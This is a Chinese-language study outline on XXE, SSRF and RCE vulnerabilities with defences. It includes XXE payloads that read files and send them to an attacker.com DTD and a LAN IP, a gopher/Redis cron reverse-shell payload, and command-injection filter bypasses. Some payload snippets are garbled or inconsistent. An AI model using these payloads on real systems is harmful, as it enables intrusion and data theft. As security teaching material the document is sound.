XXE漏洞
XML基础
复制代码
#### 概念
*
##### 可扩展标记语言
复制代码
#### 用途
*
##### 作为配置文件
*
###### 层次分明, 结构清晰, 便于扩展, 便于校验
*
###### 其他方案: properties, yml
*
##### 交换数据的格式
*
###### 系统与系统之间的通信, 相互调用接口
*
###### 其他方案: json
复制代码
#### 内容实例
*
```xml
<?xml version="1.0" encoding="UTF-8"?><!--XML声明-->
<TranInfo><!--XML根元素-->
<CdtrInf><!--子元素-->
<Id>xxx</Id>
<Nm>xxx</Nm>
</CdtrInf>
<DdtrInf>
<Id>xxx</Id>
<Nm>xxx</Nm>
</DdtrInf>
<Amt>xxx</Amt>
</TranInfo>
```
复制代码
#### XML约束
*
##### DTD: 文档类型定义
*
###### 对标签顺序、嵌套、属性、内容等等进行限制 (内容也是XML格式)
*
###### DTD 可以定义在 XML 中,也可以创建 .dtd 文件 (方便集中维护),在XML中引用
*
##### XSD: XML结构定义
*
###### 支持命名空间
*
###### 数据类型
复制代码
#### DTD中的内部实体
*
##### ELEMENT 元素
*
##### ENTITY 实体: 通过 \& 符号引用, 后面有分号
*
```xml
<?xml version="1.0" encoding="UTF-8"?><!--XML声明-->
<!DOCTYPE name[
<!ELEMENT name ANY>
<!ENTITY cs "xxx">
]>
<people>
<name>x</name>
<area>&cs;</area>
</people>
```
复制代码
#### DTD中的外部实体
*
##### ENTITY SYSTEM 本机文件; PUBLIC 外部文件
*
###### 外部实体引用其他文件 (external.xml) \[注意: 浏览器中不支持访问外部实体\]
*
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name[
<!DOCTYPE name ANY >
<!ENTITY file SYSTEM "file:///D:/xxx/xxx/xxx.dtd" >
%file;
]>
<people>
<user>xxx</user>
<area>&xxe;</area>
</people>
```
*
##### 外部实体常用协议
*
###### `file:///etc//passwd`
*
###### `php://filter/read=convert.base64-encode/resource=index.php`
*
###### `http://xxx/evil.dtd`
XXE漏洞定义和危害
复制代码
#### 定义
*
##### XML外部实体注入
*
###### 服务器接收XML格式的数据时, 如果发送数据的人 (攻击者) 在XML数据中插入了包含恶意内容的外部实体, 可能导致读取文件, 执行命令, 探测内网端口, DOS等危害
*
##### 函数
*
###### `$xml = simplexml_load_string($data)`
*
###### PHP中的函数
复制代码
#### 危害
*
##### 读取本级文件
*
###### 运行环境
*
###### PHP版本5.4.45
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///E://xxx.txt">
]>
<login>&xxe;</login>
```
*
##### 探测内网端口
*
###### 以mysql为例
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
]>
<login>&xxe;</login>
```
*
##### 执行系统命令
*
###### 需要安装expect扩展
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "expect://ipconfig">
]>
<root>
<name>&xxe;</name>
</root>
```
*
##### 拒绝服务攻击
*
###### biliion laughs 攻击 payload
*
###### xxe-dos-payload.txt: 这个少于 1kb 的 XML 实际上包含 109 = 10亿个大文件, 占用大约 3GB 的内存
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///dev/random">
]>
<msg>
&bomb;
</msg>
```
XXE漏洞案例分析
复制代码
#### 白云镜像站
复制代码
#### 微信支付XXE漏洞
*
##### 攻击方式: 发送恶意的回调数据给商户, 例如通知支付成功, 读取商户服务器文件等等
*
###### `http://baijiahao.baidu.com/s?id=1605163811729301776&wfr=spider&for=pc`
XXE发现和利用
复制代码
#### 发现接口 (主动爬取, 被动流量记录)
复制代码
#### 拦截接口流量, 是否使用XML通信
复制代码
#### 构造外部实体内容, 查看是否解析
*
##### 源码: `https://github.com/c0ny1/xxe-lab`
复制代码
#### DNSlog盲打
*
##### payload
```xml
<?xmlversion="1.0"encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY% remote SYSTEM "http://wuyatest.wvz90i.dnslog.cn">
%remote;
]>
```
复制代码
#### HTTP发送数据
*
##### evil.dtd
```xml
<!ENTITY %file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/system.ini">
<!ENTITY%int "<!ENTITY % send SYSTEM'http://192.168.142.135:8080?p=%file;'>">
```
*
##### payload
```xml
<?xmlversion="1.0">
<!DOCTYPE ANY[
<!ENTITY% FlLE SYSTEM"http://attacker.com/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>
```
*
##### 案例
*
###### `http://192.168.142.167:5000/static/bugs/wooyun-2016-0188569.html`
*
###### `http://192.168.142.167:5000/static/bugs/wooyun-2016-0174217.html`
XXE防御和修复
复制代码
#### 禁用外部实体
*
##### `https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5`
复制代码
#### 过滤用户提交的XML数据
*
##### 过滤字符
*
###### `=`
*
###### `"`
*
###### `''`
*
###### `<`
*
###### `>`
*
###### `]]>`
*
###### `]]>>`
*
###### `<!--/-->`
*
###### `/-->`
*
###### `-->`
*
###### `<!--`
*
###### `<!`
*
###### `<![CDATA[/]]>`
复制代码
#### 使用WAF
SSRF漏洞
概念
复制代码
#### 服务端请求伪造 (CSRF是跨站脚本请求伪造)
复制代码
#### 代码
```php
<?php
function curl($url){
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出
// 抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
```
PHP curl 扩展
复制代码
#### 获取网页资源: 爬虫
复制代码
#### webservice: 获取接口数据
复制代码
#### FTP: 下载文件
复制代码
#### 配置
*
##### 在 phpstudy 的配置文件 php.ini 中设置 extension=php_curl.dill
PHP其他函数
复制代码
#### curl_exec()
*
##### 执行 CURL 会话
复制代码
#### file_get_contents()
*
##### 将整个文件读入一个字符串
复制代码
#### fsockopen()
*
##### 打开一个网站连接或者一个 Unix 套接字连接
CURL其他协议
复制代码
#### file: 查看文件
*
##### curl -v 'file:///etc/passwd'
复制代码
#### dict: 探测窗口
*
##### 用于搭建在线字典服务
*
##### `http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306`
复制代码
#### gopher: 反弹shell
*
##### 是一种信息查找系统, 只支持文本, 不支持图像, 已被 http 替代
*
##### `curl-v gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1bash -i>&/dev/tcp/192.168.142.135/44440>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'`
SSRF危害
复制代码
#### 扫描资产
复制代码
#### 获取敏感信息
复制代码
#### 攻击内网服务器 (绕过防火墙)
复制代码
#### 访问大文件, 造成溢出
复制代码
#### 通过 Redis 写入 WebShell 或建立反弹连接
SSRF常见场景
复制代码
#### 社会化分享
复制代码
#### 转码服务
复制代码
#### 在线服务
复制代码
#### 图片加载, 下载功能
复制代码
#### 图片, 文章, 收藏功能
复制代码
#### 网站采集, 网站抓取
SSRF实际案例
复制代码
#### 1、Wordpress3.5.1以下版本xmlrpc.phppingback的缺陷与SSFR
复制代码
#### 2、discuz!的SSRF(利用php的header函数来绕过,其实就是302跳转实现协议转换)
复制代码
#### 3、weblogic的SSRF
如何发现SSRF漏洞
复制代码
#### 爬取地址
复制代码
#### 查看是否请求了其他资源
复制代码
#### 谷歌语法搜索关键字
*
##### share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
复制代码
#### github工具推荐
*
##### SSRF-Testing
*
##### Gopherus
*
##### SSRFmap
*
##### SSRF_proxy
SSRF防御
复制代码
#### 禁用协议
复制代码
#### 限制请求端口
复制代码
#### 设置URL白名单
复制代码
#### 过滤返回信息
复制代码
#### 统一错误信息
远程代码执行渗透与防御 (RCE漏洞)
危害
复制代码
#### 获取服务器权限
复制代码
#### 获取敏感数据文件
复制代码
#### 写入恶意文件 getshell
复制代码
#### 植入木马病毒勒索软件
实际漏洞
复制代码
#### CVE-2021-3177 PythonRCE漏洞
复制代码
#### CVE-2021-21972VMWare RCE漏洞
复制代码
#### CVE-2021-25646Apache Druid RCE漏洞
复制代码
#### CNVD-2020-46552 深信服EDR
复制代码
#### CNVD-2021-30101 网康下一代防火墙
复制代码
#### `http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=RCE`
PHP RCE 涉及函数
复制代码
#### 命令 command 注入
*
##### system()
*
###### 执行外部程序, 并且显示输出
*
##### exec() / shell_exec()
*
###### 通过 shell 环境执行命令, 并且将完整的输出以字符串的方式返回
*
##### pcntl_exec()
*
###### 在当前进程空间执行指定程序
*
##### passthru()
*
###### 执行外部程序并且显示原始输出
*
##### popen()
*
###### 打开进程文件指针
*
##### proc_open()
*
###### 执行一个命令, 并且打开用来输入 / 输出的文件指针
复制代码
#### 代码 code 注入
*
##### eval()
*
###### 把字符串 code 以 php 形式执行
*
##### assert()
*
###### 检查一个断言是否为 false
*
##### preg_replace()
*
###### 执行一个正则表达式的搜索和替换
*
##### create_function()
*
###### 创建一个匿名函数并且返回函数名创
*
##### call_user_func() / call_user_func_array()
*
###### 把第一个参数作为回调函数调用
*
##### usort() / uasort()
*
###### 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
Windows命令拼接符号
| 符号 |
含义 |
示例 |
&& |
左边的命令执行成功,右边的才执行 |
ping 127.0.0.1 && echo 'hello' |
& |
简单的拼接 |
ping 1111 & echo 'hello' |
| ` |
` |
上一条命令的输出,作为下一条命令参数 |
| ` |
|
` |
Linux 命令拼接符号
| 符号 |
含义 |
示例 |
; |
没有任何逻辑关系的连接符 |
|
&& |
左边的命令执行成功,右边的才执行 |
cp 1.txt 2.txt && cat 2.txt |
| ` |
` |
上一条命令的输出,作为下一条命令参数 |
| ` |
|
` |
& |
任务后台执行,与nohup命令功能差不多 |
java -jar test.jar > log.txt & |
pikachu靶场
DVWA靶场
more/less搜索
| 特性 |
more |
less |
| 导航 |
仅支持向下翻页 |
支持向上和向下自由翻页 |
| 搜索 |
仅支持向下搜索 |
支持双向搜索(/ 向下, ? 向上) |
| 内存使用 |
不预加载文件,内存占用少 |
按需加载,处理大文件效率高 |
| 功能丰富度 |
功能相对简单 |
功能强大,支持行号、多文件查看等 |
过滤 CAT
复制代码
#### cat
*
##### 由第一行开始显示内容, 并将所有内容输出
复制代码
#### tac
*
##### 从最后一行倒序显示内容 并将所有内容输出
复制代码
#### more
*
##### 根据窗口大小, 一页一页的显示文件内容
复制代码
#### less, more
*
##### less比more更牛b, 可以往前翻页, 也能搜索指定字符
复制代码
#### head
*
##### 只显示头几行
复制代码
#### tail
*
##### 只显示最后几行
复制代码
#### nl
*
##### 类似于 cat -n, 显示时输出行号
复制代码
#### tail
*
##### 类似 tail -f
过滤空格
复制代码
#### IFSS9
复制代码
#### %09
复制代码
#### \<
复制代码
#### \>
复制代码
#### {
复制代码
#### }
复制代码
#### %20
复制代码
#### ${IFS}
过滤目录分隔符
过滤运算符
复制代码
#### %0a: 回车
复制代码
#### %0d: 换行
复制代码
#### 实例
*
##### `127.0.0.1%0acd${IFS}f***_is_here%0als`
*
##### `127.0.0.1%0acd${IFS}f***_is_here%0amore${IFS}f***_xxxx.php`
RCE防御
复制代码
#### 开源框架,升级到最新版本
复制代码
#### 尽量不要使用命令执行的函数
复制代码
#### 如果必须使用,需要做白名单处理
复制代码
#### 用正则表达式对用户输入的内容进行处理
复制代码
#### 使用WAF